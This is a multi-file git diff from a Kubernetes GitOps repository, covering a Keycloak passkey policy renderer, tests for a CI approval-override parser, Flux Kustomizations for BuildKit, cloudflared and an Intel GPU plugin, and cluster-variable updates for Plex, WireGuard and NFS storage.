+# EVERYTHING HERE IS GENERATED EXCEPT ONE LINE: `bind-browser-flow`. That is an
+# operator decision, carried through by the renderer from this committed file (see
+# ci/render-keycloak-passkey-policy.py). It defaults to "false".
+#
+# WHY IT IS A SEPARATE OBJECT: the realm import is a ONE-SHOT that never re-runs
+# once Done=True, so a realm-level field or a flow edited in git never reaches the
+# realm. Measured on prod 2026-10-18, hours after the passkey declaration merged:
+# Done=True / Started=False, with the whole passkey block inert. The reconciler is
+# the level-triggered loop that closes that; this file is what it reconciles
+# TOWARDS.
+#
+# WHY IT IS GENERATED AND NOT AUTHORED: a hand-written copy of the RP ID, the
+# user-verification requirement and the flow tree would be a second source of truth,
+# free to disagree with the realm import — the same "two declarations that can
+# disagree" shape as the bug being closed. It is rendered from the import and the
+# render is gated, so the two cannot drift.
+#
+# STRINGS ARE VERBATIM: webAuthnPolicyPasswordlessRpId is the ${BASE_DOMAIN}
+# substitution token exactly as the realm import writes it. Both files are rendered
+# by the SAME Flux Kustomization (./platform-config), so the token resolves to the
+# same value in both and the domain is decided in exactly one place.
+#
+# `requiredAction` is the ONE entry that is DERIVED rather than copied: the realm
+# import deliberately declares no `requiredActions` block, because Keycloak 26.0.6
+# treats that as REPLACE and declaring one action would delete CONFIGURE_TOTP and
+# nine more (a hard lock-out of every platform-admin). It is derived instead from
+# the presence of a webauthn-authenticator-passwordless execution in the flow:
+# passkeys are offered, therefore enrolment must be enabled — and defaultAction is
+# false, so enrolment stays opt-in.
+#
+# A field NOT declared on the realm in the import is simply ABSENT here, and the
+# reconciler leaves it alone. Absence means UNMANAGED, never "force to a default".
+# =============================================================================
+apiVersion: v1
+kind: ConfigMap
+metadata:
+  name: %s
+  namespace: %s
+  labels:
+    app.kubernetes.io/name: %s
+    app.kubernetes.io/part-of: keycloak
+data:
+""" % (CONFIGMAP_NAME, NAMESPACE, CONFIGMAP_NAME)
+
+BIND_BLOCK = """  # ---------------------------------------------------------------------------
+  # THE BIND SWITCH -- the ONLY hand-edited line in this file. Exactly "true" or
+  # "false", QUOTED.
+  #
+  #   "false"  the reconciler builds and verifies the candidate browser flow and
+  #            logs `WOULD BIND <alias>`, but NEVER changes the realm's browserFlow.
+  #            Whatever the realm is bound to -- including a rollback -- is left alone.
+  #   "true"   it binds the verified candidate in one atomic PUT, and keeps the
+  #            realm bound to it: a binding changed by hand is changed back.
+  #
+  # GO LIVE: test the candidate in a browser first (platform/keycloak/README.md,
+  # "Passkeys"), then a PR setting this to "true".
+  # ROLL BACK: a PR setting this to "false" FIRST (or the next run rebinds), then
+  # one write setting browserFlow back to the previous alias from the Job log.
+  # ---------------------------------------------------------------------------
+  %s: "%s"
+"""
+
+
+def main() -> int:
+    ap = argparse.ArgumentParser(description=__doc__)
+    g = ap.add_mutually_exclusive_group()
+    g.add_argument("--write", action="store_true", help="write %s" % OUT_FILE)
+    g.add_argument("--check", action="store_true",
+                   help="exit 1 if the committed file has drifted from the source")
+    args = ap.parse_args()
+
+    want = render(ROOT)
+    target = ROOT / OUT_FILE
+
+    if args.write:
+        target.write_text(want, encoding="utf-8")
+        print("wrote %s" % OUT_FILE)
+        return 0
+
+    if args.check:
+        if not target.is_file():
+            print("CHECK FAIL: %s does not exist. Run: python3 "
+                  "ci/render-keycloak-passkey-policy.py --write" % OUT_FILE,
+                  file=sys.stderr)
+            return 1
+        have = target.read_text(encoding="utf-8")
+        if have == want:
+            print("passkey-desired-state.yaml is in sync with %s" % IMPORT_FILE)
+            return 0
+        print("CHECK FAIL: %s has DRIFTED from %s — the reconciler would converge the "
+              "realm on a passkey policy the realm import does not declare, and build "
+              "the login flow from a tree nobody authored.\n"
+              "Regenerate with: python3 ci/render-keycloak-passkey-policy.py --write\n"
+              % (OUT_FILE, IMPORT_FILE), file=sys.stderr)
+        for line in difflib.unified_diff(have.splitlines(True), want.splitlines(True),
+                                         fromfile="committed " + OUT_FILE,
+                                         tofile="rendered from " + IMPORT_FILE):
+            sys.stderr.write(line)
+        return 1
+
+    sys.stdout.write(want)
+    return 0
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

ci/tests/approval-override.test.sh

@@ -0,0 +1,232 @@
+#!/usr/bin/env bash
+# ci/tests/approval-override.test.sh — proves ci/approval-override.py selects the override it
+# claims to select, and REJECTS the ones it claims to reject.
+#
+# This parser decides whether a human review requirement gets waived. Every rule in it exists
+# because the obvious implementation ("does the body contain the directive?") is wrong in a way
+# that is invisible until abused: a quoted directive would re-arm an override, a bare directive
+# would waive review with no stated reason, and an override posted against commit A would go on
+# covering commit B forever. A guard is worth nothing until somebody has watched it refuse, which
+# is the same reasoning as ci/tests/decisions-log.test.sh one layer up.
+#
+# The parser is pure and offline BY DESIGN — authorisation (the live permission lookup) lives in
+# ci/approval-policy.sh, which cannot be tested without Gitea. That split is what makes this file
+# possible, and it is also why a green run here does NOT prove the stage authorises correctly.
+set -uo pipefail
+CI_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
+SUT="${CI_DIR}/approval-override.py"
+
+PASS=0 FAIL=0
+ok()  { printf '  ok   %s\n' "$*"; PASS=$((PASS+1)); }
+bad() { printf '  FAIL %s\n' "$*"; FAIL=$((FAIL+1)); }
+
+HEAD_TIME="2026-10-01T12:00:00Z"
+AFTER="2026-10-01T12:30:00Z"
+BEFORE="2026-10-01T11:30:00Z"
+
+# run <comments-json> -> stdout of the parser (stderr is diagnostic only)
+run() {
+  COMMENTS_JSON="$1" REVIEWS_JSON="" HEAD_TIME="${2:-$HEAD_TIME}" DIRECTIVE="${3:-/approve-override}" \
+    python3 "$SUT" 2>/dev/null
+}
+
+# run_rev <reviews-json> — the same, but through the REVIEWS source.
+run_rev() {
+  COMMENTS_JSON="" REVIEWS_JSON="$1" HEAD_TIME="${2:-$HEAD_TIME}" DIRECTIVE="${3:-/approve-override}" \
+    python3 "$SUT" 2>/dev/null
+}
+
+# comment <login> <created_at> <body>
+comment() {
+  python3 -c '
+import json, sys
+print(json.dumps([{"user": {"login": sys.argv[1]}, "created_at": sys.argv[2], "body": sys.argv[3]}]))
+' "$1" "$2" "$3"
+}
+
+expect_none() {
+  local label="$1" out
+  out="$(run "$2")"
+  if [ -z "$out" ]; then ok "$label"; else bad "$label (got: ${out})"; fi
+}
+
+expect_user() {
+  local label="$1" json="$2" want="$3" out got
+  out="$(run "$json")"
+  got="$(cut -f1 <<<"$out")"
+  if [ "$got" = "$want" ]; then ok "$label"; else bad "$label (wanted ${want}, got '${got}')"; fi
+}
+
+expect_reason() {
+  local label="$1" json="$2" want="$3" out got
+  out="$(run "$json")"
+  got="$(cut -f4- <<<"$out")"
+  if [ "$got" = "$want" ]; then ok "$label"; else bad "$label (wanted '${want}', got '${got}')"; fi
+}
+
+# check <label> <actual> <wanted>
+check() {
+  if [ "$2" = "$3" ]; then ok "$1"; else bad "$1 (wanted '${3}', got '${2}')"; fi
+}
+
+# review <login> <submitted_at> <state> <body>
+review() {
+  python3 -c '
+import json, sys
+print(json.dumps([{"user": {"login": sys.argv[1]}, "submitted_at": sys.argv[2],
+                   "state": sys.argv[3], "body": sys.argv[4]}]))
+' "$1" "$2" "$3" "$4"
+}
+
+echo "== ci/approval-override.py"
+
+# --- the happy path -------------------------------------------------------------------
+expect_user "a directive with a reason, posted after the head commit, is selected" \
+  "$(comment jakman85 "$AFTER" '/approve-override sole admin, gate is green')" jakman85
+
+expect_reason "the reason is returned verbatim" \
+  "$(comment jakman85 "$AFTER" '/approve-override sole admin, gate is green')" \
+  'sole admin, gate is green'
+
+# --- absence is a normal answer, not an error -----------------------------------------
+expect_none "no comments at all" '[]'
+expect_none "an ordinary comment" "$(comment jakman85 "$AFTER" 'looks good to me')"
+
+# --- a reason is MANDATORY ------------------------------------------------------------
+expect_none "a bare directive (no reason) is refused" \
+  "$(comment jakman85 "$AFTER" '/approve-override')"
+expect_none "a directive followed by only whitespace is refused" \
+  "$(comment jakman85 "$AFTER" '/approve-override    ')"
+
+# --- the directive must START a line --------------------------------------------------
+expect_none "the directive mid-sentence does not count" \
+  "$(comment jakman85 "$AFTER" 'you could just /approve-override this one')"
+expect_none "a QUOTED directive does not re-arm an override" \
+  "$(comment jakman85 "$AFTER" '> /approve-override quoting someone else')"
+expect_user "leading whitespace before the directive is fine" \
+  "$(comment jakman85 "$AFTER" '   /approve-override indented but mine')" jakman85
+expect_user "the directive on a later line of a longer comment counts" \
+  "$(comment jakman85 "$AFTER" 'some preamble
+/approve-override the real reason here')" jakman85
+
+# --- staleness: an override must post-date the commit it waives review on -------------
+expect_none "an override OLDER than the head commit is dropped as stale" \
+  "$(comment jakman85 "$BEFORE" '/approve-override stale, predates the push')"
+expect_none "an override exactly AT the head commit time is dropped (strictly newer)" \
+  "$(comment jakman85 "$HEAD_TIME" '/approve-override same instant')"
+
+# --- malformed input is never a free pass --------------------------------------------
+expect_none "an unreadable timestamp drops the candidate" \
+  "$(comment jakman85 'not-a-date' '/approve-override bad clock')"
+expect_none "a comment with no author is dropped" \
+  '[{"user": {}, "created_at": "2026-10-01T12:30:00Z", "body": "/approve-override no login"}]'
+expect_none "invalid JSON yields no override (and never a traceback into stdout)" \
+  'this is not json'
+expect_none "a JSON object instead of a list yields no override" \
+  '{"user": "nope"}'
+
+# --- latest wins ----------------------------------------------------------------------
+TWO='[
+  {"user": {"login": "early"},  "created_at": "2026-10-01T12:10:00Z", "body": "/approve-override first"},
+  {"user": {"login": "latest"}, "created_at": "2026-10-01T12:40:00Z", "body": "/approve-override second"}
+]'
+expect_user "the LATEST override supersedes an earlier one" "$TWO" latest
+expect_reason "and brings its own reason" "$TWO" second
+
+# --- offsets, not just Z --------------------------------------------------------------
+# Gitea emits RFC3339 WITH AN OFFSET (measured: 2026-10-01T23:09:08-05:00), not a trailing Z.
+# A parser that only handles 'Z' silently drops every real override, so this case is load-bearing.
+expect_user "an RFC3339 offset timestamp (-05:00), as Gitea actually emits, parses" \
+  '[{"user": {"login": "jakman85"}, "created_at": "2026-10-01T08:30:00-05:00", "body": "/approve-override offset form"}]' \
+  jakman85
+expect_none "and an offset timestamp that is genuinely earlier is still stale" \
+  '[{"user": {"login": "jakman85"}, "created_at": "2026-10-01T06:00:00-05:00", "body": "/approve-override offset, stale"}]'
+
+# --- the directive is configurable ----------------------------------------------------
+out="$(run "$(comment jakman85 "$AFTER" '/admin-waive because policy says so')" "$HEAD_TIME" '/admin-waive')"
+if [ "$(cut -f1 <<<"$out")" = "jakman85" ]; then
+  ok "a custom directive from the declaration is honoured"
+else
+  bad "a custom directive from the declaration is honoured (got '${out}')"
+fi
+expect_none "the default directive does not match a custom-directive comment" \
+  "$(comment jakman85 "$AFTER" '/admin-waive because policy says so')"
+
+# --- no staleness anchor: do not invent one -------------------------------------------
+out="$(COMMENTS_JSON="$(comment jakman85 "$BEFORE" '/approve-override no anchor')" \
+       HEAD_TIME="" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+if [ "$(cut -f1 <<<"$out")" = "jakman85" ]; then
+  ok "with no HEAD_TIME the staleness test is skipped, not faked (caller blocks instead)"
+else
+  bad "with no HEAD_TIME the candidate should still be returned (got '${out}')"
+fi
+
+# --- the REVIEWS source ---------------------------------------------------------------
+# Load-bearing, not redundant. Measured on PR #38: SETTINGS_API_TOKEN is minted
+# [read:repository, read:admin], /issues/{n}/comments needs the ISSUE scope, so a well-formed
+# override in the comment box came back as an error object and was invisible. /pulls/{n}/reviews
+# IS readable with that token, so a review body is the route that works today.
+check "a review body carries an override" \
+  "$(cut -f1 <<<"$(run_rev "$(review jakman85 "$AFTER" COMMENT '/approve-override via a review')")")" \
+  jakman85
+check "the source is reported as 'review'" \
+  "$(cut -f3 <<<"$(run_rev "$(review jakman85 "$AFTER" COMMENT '/approve-override via a review')")")" \
+  review
+check "the source is reported as 'comment' for a comment" \
+  "$(cut -f3 <<<"$(run "$(comment jakman85 "$AFTER" '/approve-override via a comment')")")" \
+  comment
+
+out="$(run_rev "$(review jakman85 "$BEFORE" COMMENT '/approve-override stale review')")"
+check "a stale review override is dropped too" "${out:-<none>}" "<none>"
+
+out="$(run_rev "$(review jakman85 "$AFTER" PENDING '/approve-override unsubmitted draft')")"
+check "a PENDING (unsubmitted) review is NOT an act of anything" "${out:-<none>}" "<none>"
+
+check "an APPROVED review carrying the directive still counts as an override" \
+  "$(cut -f1 <<<"$(run_rev "$(review jakman85 "$AFTER" APPROVED '/approve-override belt and braces')")")" \
+  jakman85
+
+out="$(run_rev "$(review jakman85 "$AFTER" COMMENT 'ordinary review prose, no directive')")"
+check "an ordinary review body is not an override" "${out:-<none>}" "<none>"
+
+# --- an unreadable source degrades to 'no candidates', never to a pass ----------------
+# The real-world shape: Gitea answers with {"message": "token does not have ... scope"}.
+ERR_OBJ='{"message":"token does not have at least one of required scope(s): [read:issue]"}'
+out="$(COMMENTS_JSON="$ERR_OBJ" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+       DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "an error OBJECT from the comments API yields no override" "${out:-<none>}" "<none>"
+
+out="$(COMMENTS_JSON="$ERR_OBJ" \
+       REVIEWS_JSON="$(review jakman85 "$AFTER" COMMENT '/approve-override reviews still work')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "an unreadable COMMENTS source does not suppress a valid REVIEW override" \
+  "$(cut -f1 <<<"$out")" jakman85
+
+# and it must SAY so, or a scope problem reads as 'you never posted one' (it did, on PR #38)
+errout="$(COMMENTS_JSON="$ERR_OBJ" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+          DIRECTIVE=/approve-override python3 "$SUT" 2>&1 >/dev/null)"
+case "$errout" in
+  *"not a list"*read:issue*) ok "the diagnostic names the scope Gitea complained about" ;;
+  *) bad "the diagnostic should quote Gitea's message (got: ${errout})" ;;
+esac
+
+# --- latest wins ACROSS the two sources ----------------------------------------------
+out="$(COMMENTS_JSON="$(comment early "2026-10-01T12:10:00Z" '/approve-override from a comment')" \
+       REVIEWS_JSON="$(review later "2026-10-01T12:50:00Z" COMMENT '/approve-override from a review')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "the latest override wins across both sources (review newer)" "$(cut -f1 <<<"$out")" later
+check "and its source is labelled" "$(cut -f3 <<<"$out")" review
+
+out="$(COMMENTS_JSON="$(comment later "2026-10-01T12:50:00Z" '/approve-override from a comment')" \
+       REVIEWS_JSON="$(review early "2026-10-01T12:10:00Z" COMMENT '/approve-override from a review')" \
+       HEAD_TIME="$HEAD_TIME" DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "the latest override wins across both sources (comment newer)" "$(cut -f1 <<<"$out")" later
+check "and that source is labelled too" "$(cut -f3 <<<"$out")" comment
+
+# --- both sources absent entirely -----------------------------------------------------
+out="$(COMMENTS_JSON="" REVIEWS_JSON="" HEAD_TIME="$HEAD_TIME" \
+       DIRECTIVE=/approve-override python3 "$SUT" 2>/dev/null)"
+check "no sources at all yields no override, and no crash" "${out:-<none>}" "<none>"
+
+printf '\n  %d passed, %d failed\n' "$PASS" "$FAIL"
+[ "$FAIL" -eq 0 ] || exit 1

ci/tests/gate-decision.test.sh

@@ -42,7 +42,16 @@ cp "${REAL_CI_DIR}/gate.sh" "${REAL_CI_DIR}/lib.sh" "${REAL_CI_DIR}/versions.env
 # 15 of 47 assertions failed on `main` for that reason alone, including every one that expects a
 # PASS/UNDETERMINED/NOT-APPLICABLE headline. The suite was measuring the missing stub, not the
 # decision logic. `decisions-log` is added here in the same change that adds it to gate.sh.
-for stage in spec-immutability decisions-log lint l0 render-golden l1 gitea-settings conformance; do
+#
+# AND IT HAPPENED AGAIN, with `approval-policy` (fixed 2026-10-01). Same shape, same cost: the
+# stage was added to gate.sh by PR #17, never added here, so 15 of 50 assertions failed on `main`
+# — measured on 0c7e8dd before touching anything, to be sure it was not the change under test.
+# The note above was written about the previous instance and did not prevent the next one, which
+# says the comment is not the fix. THE FIX IS TO DERIVE THE LIST: it now comes from gate.sh's own
+# `run_stage` calls, so a stage added there can no longer be silently missing here.
+mapfile -t STAGES < <(sed -n 's/^run_stage[[:space:]]\+\([a-z0-9-]\+\).*/\1/p' "${REAL_CI_DIR}/gate.sh")
+[ "${#STAGES[@]}" -ge 8 ] || { echo "could not parse stage names out of gate.sh (got ${#STAGES[@]})" >&2; exit 1; }
+for stage in "${STAGES[@]}"; do
   cat > "${CI}/${stage}.sh" <<'STUB'
 #!/usr/bin/env bash
 n="$(basename "$0" .sh)"; v="STAGE_RC_${n//-/_}"

clusters/base/buildkit.yaml

@@ -0,0 +1,21 @@
+---
+# Flux Kustomization -> ./platform/buildkit — rootless BuildKit, the image builder CI uses
+# (.gitea/workflows/images.yaml). Its own Kustomization so a stuck Certificate or a failing
+# builder can never stall any other tier (Flux health-checks Certificates under wait:true).
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: buildkit
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: true
+  dependsOn:
+    - name: platform   # cert-manager CRDs (Issuer/Certificate) come from its HelmRelease
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/buildkit

clusters/base/cloudflared.yaml

@@ -0,0 +1,61 @@
+---
+# Flux Kustomization: Cloudflare Tunnel connector — reconciles ./platform/cloudflared.
+#
+# ISOLATION IS THE POINT OF THIS FILE. The Deployment it applies CANNOT become Ready until the
+# operator enrols the tunnel (runbooks/cloudflare-tunnel.md): it ships with REPLACE-ME credentials
+# and a placeholder UUID, and a wrong or revoked credential later produces the same state. So:
+#
+#   * ITS OWN Kustomization, not a line in platform/kustomization.yaml. `platform` is wait:true and
+#     gates platform-config, which gates every apps wave; an unenrolled tunnel there would be a
+#     platform-wide stall ON MERGE, with the cause (a missing manual step) invisible from any Flux
+#     condition. Same reasoning, and same failure shape, as vpn-ingress's unfilled server key.
+#   * wait: false. Its pods are legitimately not-Ready whenever the credentials are absent or the
+#     edge is unreachable. Health is reported by the CloudflaredTunnelDown / ReplicasDegraded
+#     alerts (platform/cloudflared/alerts.yaml), not by this Kustomization's Ready condition —
+#     which reaches Ready on APPLY success.
+#   * NOTHING dependsOn THIS, and nothing should. A missing or invalid credentials Secret can then
+#     only ever affect the tunnel itself. conformance/tests/l0-static/cloudflared-ingress-rules
+#     fails the gate if any Kustomization gains `dependsOn: cloudflared`, or if this one stops
+#     being wait:false.
+#   * No Certificate, no HelmRelease, no CRD: nothing in the path for Flux's health checks to wait
+#     on even if wait were flipped (the Certificate-stall lesson).
+#
+# dependsOn: [platform-config] — A REAL EDGE.
+#   1. CRD ORDERING: PodMonitor and PrometheusRule are monitoring.coreos.com CRs whose CRDs are
+#      installed by kube-prometheus-stack in `platform`; platform-config dependsOn platform, so this
+#      edge carries that guarantee transitively (Flux aborts a whole pass on an unknown kind).
+#   2. THE FAR SIDE OF THE TUNNEL: the Gateway (and so the cilium-gateway-shared Service the ingress
+#      rules point at) is applied by platform-config. A tunnel that comes up before its origin is a
+#      support call.
+#
+# ZERO EFFECT ON LIVE TRAFFIC UNTIL DNS MOVES. Cloudflare only sends a hostname through a tunnel
+# when that hostname's DNS record is a CNAME to <uuid>.cfargotunnel.com. This change creates no
+# such record and leaves external-dns, the Gateway annotations, Pi-hole and CoreDNS untouched.
+apiVersion: kustomize.toolkit.fluxcd.io/v1
+kind: Kustomization
+metadata:
+  name: cloudflared
+  namespace: flux-system
+spec:
+  interval: 10m
+  retryInterval: 2m
+  timeout: 5m
+  prune: true
+  wait: false
+  dependsOn:
+    - name: platform-config
+  sourceRef:
+    kind: GitRepository
+    name: flux-system
+  path: ./platform/cloudflared
+  # REQUIRED, not boilerplate: platform/cloudflared/config.yaml renders `${BASE_DOMAIN}` into every
+  # ingress hostname, and alerts.yaml into both runbook_url annotations. Without this block the
+  # token becomes the EMPTY STRING and the Kustomization still reports Ready (substitution fails
+  # OPEN), leaving ingress rules for `plex.` and `*.` — a tunnel that 404s everything at best.
+  postBuild:
+    substituteFrom:
+      - kind: ConfigMap
+        name: cluster-vars
+  # SOPS decryption is layered per-environment: clusters/dev and clusters/prod each patch THIS
+  # Kustomization by name with a `decryption:` stanza for cloudflared-credentials.sops.yaml.
+  # Without it the Secret applies cleanly full of ENC[...] and cloudflared cannot authenticate.

clusters/base/cluster-vars.yaml

@@ -100,7 +100,9 @@ data:
   # platform/keycloak/postgres-cluster.yaml but is rendered by platform-config, which is the ONLY
   # tier that lists it), crafty (CRAFTY_L4_VIP), apps-wave-0 (nextcloud-db + semaphore-db:
   # S3_BACKUP_ENDPOINT, CNPG_BACKUP_PATH; pihole + pihole-dns: PIHOLE_DNS_VIP, LAN_CIDR, plus
-  # GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers),
+  # GATEWAY_VIP/UNIFI_L4_VIP/CRAFTY_L4_VIP read BY pihole to author its LAN split-horizon answers;
+  # plex-remote + pihole: PLEX_L4_VIP),
+  # vpn-ingress (WG_CLIENT_CIDR),
   # velero (S3_BACKUP_ENDPOINT, S3_BACKUP_REGION,
   # VELERO_BACKUP_BUCKET, VELERO_BACKUP_PREFIX), apps-vms (UNIFI_L4_VIP). A ${TOKEN} in an
   # UNSUBSTITUTED path would ship the literal string into the cluster.
@@ -175,6 +177,26 @@ data:
   # dev  -> 192.168.1.56  (base default; next free after crafty .55 in dev's .53-.60 pool)
   # prod -> 192.168.2.23  (next free after crafty .22 in prod's .20-.30 pool; see clusters/prod)
   PIHOLE_DNS_VIP: "192.168.1.56"             # PiHole: authoritative LAN DNS for ${BASE_DOMAIN}
+  # Plex's remote-access listener: raw tcp/32400 for REMOTE Plex clients (apps/wave-0/plex-remote.yaml).
+  # A FOURTH pinned L4 VIP, for the usual reason — the `shared` Gateway is an L7 HTTPS terminator and
+  # cannot carry Plex's own TLS. Plex clients do not resolve `plex.${BASE_DOMAIN}`; they fetch this
+  # server's address from plex.tv, so the Gateway's L7 path (which still serves the web UI, and was
+  # measured working) cannot put the server on a client's connection list at all.
+  #
+  # PINNED, AND THE PIN IS LOAD-BEARING OFF-REPO: the SOHO router forwards WAN tcp/32400 to this
+  # address by hand. A VIP taken from the pool head would silently move on a reschedule and break
+  # remote access with nothing in-cluster looking wrong. See runbooks/plex-remote-access.md.
+  #
+  # dev  -> 192.168.1.57  (base default; next free after pihole-dns .56 in dev's .53-.60 pool)
+  # prod -> 192.168.2.24  (next free after pihole-dns .23 in prod's .20-.30 pool; see clusters/prod)
+  PLEX_L4_VIP: "192.168.1.57"                # Plex: tcp/32400 remote access (NOT the web UI, which is L7)
+  # SECOND CONSUMER since 2026-10-04: catalog/pihole.yaml reads this knob to answer
+  # plex-vip.${BASE_DOMAIN} on the LAN, which is the local half of the single hostname Plex
+  # advertises to plex.tv. Without that per-host answer the zone wildcard sends the name to
+  # ${GATEWAY_VIP}, where nothing listens on 32400. So this value is now typed into THREE places
+  # that must agree: this knob, the WAN port-forward on the SOHO router (off-repo), and PiHole's
+  # answer -- and only the first two were true before.
+
 
   # The FLAT LAN this cluster's nodes and LB VIPs live on, in CIDR form. Consumed as the ingress
   # peer of the PiHole DNS CiliumNetworkPolicy (apps/wave-0/pihole-dns.yaml): a resolver reachable
@@ -186,27 +208,54 @@ data:
   # prod -> 192.168.2.0/24  (prod LAN; nodes .10/.11/.12)
   LAN_CIDR: "192.168.1.0/24"                 # ingress scope for the PiHole DNS listener
 
+  # --- Remote-access VPN client subnet (platform/vpn-ingress, WireGuard) --------------------------
+  # The tunnel subnet handed to REMOTE VPN clients. `.1` is the server (the hostNetwork DaemonSet,
+  # on every node); `.2`-`.254` are devices, allocated one /32 each in
+  # platform/vpn-ingress/peers.yaml. Consumed twice in the pod's config-assembly script: to derive
+  # the server's own address, and as the `-s` match of the MASQUERADE rule that makes LAN replies
+  # routable.
+  #
+  # IT IS A KNOB RATHER THAN A LITERAL FOR ONE REASON: it is the only address range in this cluster
+  # that must be checked against EVERY OTHER range at once, so it belongs where those are declared.
+  # 10.90.0.0/24 was chosen to collide with none of them:
+  #     10.0.0.0/16     Cilium cluster-pool pod CIDR     (${CLUSTER_POD_CIDR})
+  #     10.43.0.0/16    k3s service CIDR                 (measured live 2026-10-05: kubernetes svc
+  #                                                       clusterIP 10.43.0.1)
+  #     10.72.192.0/18  the PIA tunnel's pushed addresses (platform/vpn-egress)
+  #     192.168.1.0/24  dev LAN / pfSense LAN            (${LAN_CIDR} base default)
+  #     192.168.2.0/24  prod LAN                         (${LAN_CIDR} on prod)
+  #
+  # NO PER-ENVIRONMENT OVERRIDE, and that is deliberate rather than an omission: unlike every VIP
+  # above, this range is NOT drawn from the LAN. It is private to the tunnel, so the same value is
+  # correct in both environments and a prod patch would be a no-op that implies otherwise.
+  #
+  # IF YOU CHANGE IT, every already-issued client profile breaks (its `Address` is from this range)
+  # and must be re-rendered — so treat it as fixed once the first device is enrolled.
+  WG_CLIENT_CIDR: "10.90.0.0/24"             # remote VPN clients; .1 = server. NOT a LAN range
+
   # --- Bulk (external NFS) storage host (docs/04 bulk tier) ---------------------------------------
-  # THE address of the Proxmox host whose ZFS datasets back every `class: bulk` volume: the media
-  # library (Storage/plex, 8.33 T — plex, sonarr, radarr) and the legacy Nextcloud archive
+  # THE address of the NAS whose ZFS datasets back every `class: bulk` volume: the media library
+  # (Storage/plex, 8.33 T — plex, sonarr, radarr, qbittorrent) and the legacy Nextcloud archive
   # (Storage/nextcloud, 270 G). The renderer emits it into each static NFS PersistentVolume's
   # `spec.nfs.server` (catalog/render.py, BULK_NFS_SERVER); the export PATH is per-dataset and is
   # declared in the ServiceDefinition, because the path is identical in every environment and only
   # the ADDRESS is not.
   #
-  # WHY THIS IS A KNOB AND NOT A LITERAL — the two clusters are on OPPOSITE SIDES of pfSense.
-  # The storage host has exactly one interface, vmbr0 192.168.1.9/24, on pfSense's LAN.
-  #   dev  nodes are 192.168.1.40/.41/.42 — the SAME L2 segment. They reach it directly, and one
-  #        NFS export to them already exists on that host (/mnt/Storage/k8s-volumes in
-  #        /etc/exports), so this path is proven, not theoretical. Base default = the dev value,
-  #        per the convention of the LAN block above.
-  #   prod nodes are 192.168.2.10/.11/.12 — pfSense's WAN. tcp/2049 does NOT traverse that today;
-  #        22 and 8006 answer only because pfSense port-forwards them via 192.168.2.102. Opening
-  #        the storage path is a PENDING OPERATOR DECISION with two candidate outcomes that give
-  #        DIFFERENT values here: 192.168.2.102 (another port-forward) or 192.168.1.9 (a route).
-  # So prod holds a loud TBD-PROD-* placeholder — see clusters/prod/kustomization.yaml for the
-  # blast radius of shipping it unset, which is NOT the usual "fails to apply".
-  BULK_NFS_SERVER: "192.168.1.9"
+  # IT IS NO LONGER A CROSS-NETWORK KNOB (2026-10-07). This used to read "the two clusters are on
+  # OPPOSITE SIDES of pfSense": the datasets lived on a Proxmox host whose only interface was
+  # vmbr0 192.168.1.9/24 on pfSense's LAN, which prod (192.168.2.0/24, pfSense's WAN) could reach
+  # only through a DNAT at 192.168.2.102. Both pools were physically moved onto a standalone
+  # TrueNAS at 192.168.2.30 — prod's OWN /24 — so there is no crossing to arrange and no candidate
+  # values to choose between. Measured 2026-10-07: 192.168.2.102:2049 no longer answers;
+  # 192.168.2.30:2049 and :111 do. There is now exactly ONE storage host and one correct value;
+  # this stays a knob only because the renderer reads it per-environment.
+  #
+  # *** CHANGING THIS VALUE IS NOT A PLAIN RECONCILE. *** A bound PersistentVolume's spec.nfs is
+  # immutable — measured by server dry-run 2026-10-07:
+  #     spec.persistentvolumesource: Forbidden: spec.persistentvolumesource is immutable after creation
+  # so Flux's apply FAILS rather than updating, and the pods keep their old mount. The PVs must be
+  # deleted and recreated; the operator sequence is docs/BULK-NFS-STORAGE.md §10.
+  BULK_NFS_SERVER: "192.168.2.30"
 
   # Off-cluster S3 backup target (R-STATE-03, R-IDP-05) — the on-Proxmox MinIO, plain HTTP, path-style.
   # Consumed by BOTH backup paths: every CNPG Cluster's barmanObjectStore.endpointURL (keycloak-db,

clusters/base/intel-gpu-plugin.yaml

@@ -0,0 +1,104 @@
+---
+# Flux Kustomization: Intel GPU device plugin — reconciles ./platform/intel-gpu-plugin.
+# Makes the three prod nodes advertise `gpu.intel.com/i915`, which is the resource a later PR will
+# have `hardware.gpu: intel-quicksync` request in place of today's non-working /dev/dri hostPath.
+#
+# WHY ITS OWN KUSTOMIZATION, AND NOT ONE LINE IN platform/kustomization.yaml
+#
+# The cheap option was a line in the shared `platform` tier plus a new platform/ directory, and
+# neither path is sensitive in infra/gitea/approval-policy.json, so it would have needed no human
+# reviewer on the policy's terms. It is still the wrong place, for the reason the repo already
+# wrote down in platform/kustomization.yaml when Cilium was split out of that tier:
+#
+#   * `platform` is `wait: true` over eleven-plus components, so its Ready condition cannot tell
+#     you "the GPU plugin is wedged" from "longhorn is slow".
+#   * The only emergency valve would be `flux suspend kustomization platform` — freezing storage,
+#     TLS, DNS, ingress, monitoring, Keycloak and KubeVirt in order to stop touching a device
+#     plugin.
+#   * The tier's 10m interval / 5m timeout are explicitly called out there as WRONG for a 3-node
+#     DaemonSet rollout. This is a 3-node DaemonSet rollout.
+#
+# And the consequence is worse here than for an average component, because of what sits downstream:
+# `platform` gates platform-config, which gates apps-wave-0 (wait:true), which gates apps-wave-1.
+# A plugin DaemonSet that never went healthy inside that tier would stall every app on "dependency
+# not ready" — i.e. a component added to fix a SILENT NO-OP (software transcoding) would have
+# acquired the ability to cause a REAL OUTAGE. That trade is the whole argument.
+#
